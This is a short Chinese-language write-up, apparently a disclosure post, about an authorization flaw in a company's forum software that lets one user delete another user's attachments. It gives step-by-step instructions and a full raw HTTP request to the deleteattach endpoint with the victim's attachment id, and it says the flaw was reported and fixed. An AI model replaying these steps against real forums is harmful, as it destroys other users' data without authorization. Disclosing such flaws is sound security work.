某企的任意用户附件删除漏洞

用户1：5wimming（受害者）

用户2：555232（攻击者）

先查看用户1附件的id，默认会显示在网页上，也可以通过右侧代码查找，这里6666是一张图片，id为4779620。

然后用户2随便发一个回复，然后保存。

然后点击上图中右下角的编辑按钮，进去后不用更改内容，点击保存并抓包，有两处地方需要修改，即将别人的附件加进去

如下图，已经将别人的附件加进来了

然后抓取删除附件的接口，删除id为4779620的附件。

GET /forum.php?mod=ajax&action=deleteattach&inajax=yes&tid=1773941&pid=62711467&aids[]=4779620 HTTP/1.1
Host: victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: 

发现用户2和用户1的附件都被删除了

该洞发现后，也是第一时间提交给了该企，目前该洞已改。